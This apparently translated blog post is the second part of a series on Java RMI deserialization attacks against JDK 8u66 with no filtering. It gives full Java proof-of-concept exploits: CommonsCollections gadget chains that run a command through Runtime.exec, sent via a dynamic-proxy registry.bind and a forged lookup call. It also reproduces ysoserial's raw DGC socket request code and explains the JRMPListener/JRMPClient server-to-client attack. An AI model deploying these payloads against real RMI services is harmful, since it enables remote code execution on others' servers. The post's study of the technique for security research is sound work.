RMI Deserialization Attack Analysis (2)

After the previous analysis of the complete process, we now have a better understanding of RMI.

This article focuses on JDK versions prior to JEP 290, specifically JDK 8u66, where no filtering is applied. It analyzes all possible attack methods. The next article will specifically discuss bypass techniques.

The perspective here is that of an attacker; pretending to be a server when attacking a client is simply mimicking a server role.

Attacking the Server from the Client

When Parameter Type is Object

We can simply pass a malicious class like CC1 or CC6 as before. For example, modifying the paramter value in CC6 suffices. Similarly, the server can also attack the client by modifying the return value — this doesn't require further explanation.

Bypassing Non-Object Parameter Types

To bypass this, note that the attack above relies on the server-side method parameter being of type Object. If the server uses a different type, such as File, direct attacks result in errors like "unrecognized method hash."

This error occurs because the hashToMethod_Map is not recognized properly. The hash is past to the server via StreamRemoteCall.

The solution is simple: as long as the server accepts a valid hash, it can proceed with deserialization. So when sending the method, insure the parameter types match those expected by the server (e.g., use File instead of Object). The client's local configuration should align to prevent errors during execution.

The most straightforward approach involves debugging tools. There are four ways to achieve this:

  • Network proxy to modify data at the traffic layer
  • Custom implementation of the "java.rmi" package
  • Bytecode manipulation
  • Using a debugger

One method involves reflection to alter the entire method. Alternatively, modify the parameter types within the method itself to trigger a calculator pop-up directly.

Attacking the Registry from the Client

Communication with the registry mainly involves four operations: bind, lookup, rebind, list.

registry.bind("remote", remote);

Attack Using the Bind Method (Dynamic Proxy Bypass - ysoserial.exploit.RMIRegistryExploit)

The challenge with using bind is that the argument must be of type Remote and serializable. How to bypass?

The idea is simple: create a dynamic proxy for the Remote interface. This proxy acts as a delegate, which gets serialized and sent to the server. When the server deserializes it, it triggers the deserialization of the AnnotationInvocationHandler through the proxy mechanism, leading to the same chain as CC1.

The PoC requires just one additional line compared to the ysoserial version:

public class RMIClient {
    public static void main(String[] args) throws Exception {
        // CC6
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        // Create handler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        // Create LazyMap proxy
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);

        InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);
        
        // Create Remote proxy
        Remote remote = (Remote)(Proxy.newProxyInstance(
                Remote.class.getClassLoader(),
                new Class[]{Remote.class},
                invocationHandler2
        ));
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        registry.bind("remote", remote);
    }
}

Attack Using the Lookup Method

This is simpler since the client is fully under our control. We simulate a lookup by injecting the malicious object. The server first deserializes the data and then converts it to a string, so the attack still succeeds.

Here's a PoC using CC1:

public class RMIClient {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        // Create handler
        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor= clazz.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler)constructor.newInstance(Override.class, lazyMap);
        // Create LazyMap proxy
        Map proxyMap = (Map)Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},invocationHandler);
        // Create AnnotationInvocationHandler proxy
        InvocationHandler invocationHandler2 = (InvocationHandler)constructor.newInstance(Override.class, proxyMap);

        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);

        Field ref = registry.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        ref.setAccessible(true);
        UnicastRef remoteRefe = (UnicastRef) ref.get(registry);
        Field declaredField = registry.getClass().getDeclaredFields()[0];
        declaredField.setAccessible(true);
        Operation[] operations = (Operation[]) declaredField.get(registry);

        RemoteCall remoteCall = remoteRefe.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
        ObjectOutput outputStream = remoteCall.getOutputStream();
        outputStream.writeObject(invocationHandler2);
        remoteRefe.invoke(remoteCall);
    }
}

Attacking DGC from the Client

Let's look at DGC (Distributed Garbage Collection). It's easier to understand by comparing it to registry operations.

In RMI, DGCImpl_Stub and DGCImpl_Skel handle communication between client and server for distributed garbage collection. Their usage relates to DGC mechanisms.

1. DGCImpl_Stub Usage Scenarios:

  • Notifying the server that a remote object has been released or marked as "dirty"
  • Marking objects as dirty via DGCImpl_Stub.dirty()
  • Cleaning references via DGCImpl_Stub.clean()
  • Triggered by changes in local object reference counts or periodic heartbeat checks

2. DGCImpl_Skel Usage:

  • Processing incoming DGC requests (like dirty/clean) on the server side
  • Handled by the DGCImpl_Skel.dispatch method

Attacking DGC follows a similar pattern to registry attacks. Here’s how ysoserial.exploit.JRMPClient constructs a DGC request:

public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
    InetSocketAddress isa = new InetSocketAddress(hostname, port);
    Socket s = null;
    DataOutputStream dos = null;
    try {
        s = SocketFactory.getDefault().createSocket(hostname, port);
        s.setKeepAlive(true);
        s.setTcpNoDelay(true);

        OutputStream os = s.getOutputStream();
        dos = new DataOutputStream(os);

        dos.writeInt(TransportConstants.Magic);
        dos.writeShort(TransportConstants.Version);
        dos.writeByte(TransportConstants.SingleOpProtocol);

        dos.write(TransportConstants.Call);

        @SuppressWarnings ( "resource" )
        final ObjectOutputStream objOut = new MarshalOutputStream(dos);

        objOut.writeLong(2); // DGC
        objOut.writeInt(0);
        objOut.writeLong(0);
        objOut.writeShort(0);

        objOut.writeInt(1); // dirty
        objOut.writeLong(-669196253586618813L);
        
        objOut.writeObject(payloadObject);

        os.flush();
    }
    finally {
        if ( dos != null ) {
            dos.close();
        }
        if ( s != null ) {
            s.close();
        }
    }
}

Upon debugging and examining the thread's run method, we see serviceCall followed by handlerMessage, and then read() is called. A Long is read first, followed by Int, Long, Short forming a UID, and finally an ObjID encapsulates num and UID.

The Target contains DGCImpl_Skel and DGCImpl_Stub.

Then we reach DGCImpl_Skel#dispatch, where both dirty and clean methods contain deserialization vulnerabilities, making them suitable targets for attack. Any port that listens for DGC can be attacked, including Registry, RegistryImpl_Stub, and DGCImpl_Stub ports.

Deserialization Chains

RMI includes several classes with deserialization chains that need studying for future bypass techniques.

UnicastRemoteObject (JRMPListener Payload)

This chain does not execute arbitrary commands like CC chains. Instead, it starts a listener on the target server, useful in combination with other attacks like DGC or registry attacks.

It uses reexport, and exportObject leads to TCPTransport.exportObject, starting a listener. Communication is handled uniformly depending on the request type.

UnicastRef

UnicastRef implements java.io.Externalizable. During deserialization, it calls readExternal, which eventually leads to DGC.dirty, enabling DGC-based attacks.

UnicastRef#readExternal
    LiveRef#read
    	DGCClient#registerRefs
    		EndpointEntry#registerRefs
    			EndpointEntry#makeDirtyCall
    				DGCImpl_Stub#dirty

RemoteObject (JRMPClient Payload)

Set ref to the UnicastRef from the previous chain. This is how ysoserial.payload.JRMPClient works.

The key point is that RemoteObjectInvocationHandler extends RemoteObject and holds the UnicastRef. It creates a dynamic proxy for Registry, triggering the call chain upon deserialization.

This payload sends a DGC request to the target server, possibly with a fake IP and port, causing the server to send a DGC.dirty request to the fake endpoint.

Server-to-Client Attack (exploit.JRMPListener + payload.JRMPClient)

This combines exploit.JRMPListener (starts a JRMP listener returning a malicious object) with payload.JRMPClient (sends a DGC.dirty request).

On the attacker machine, a listener is started. Upon receiving a request, it returns a malicious object to the client. The client then acts as a client sending a DGC.dirty request to the fake server.

When the DGCImpl_Stub#dirty is called, invoke -> executeCall is triggered, leading to deserialization of our malicious object, completing the attack.

Simply configure the IP and port to launch the attack.

References:

Tags: RMI deserialization java Security Exploitation

Posted on Sun, 21 Jun 2026 17:21:57 +0000 by grant777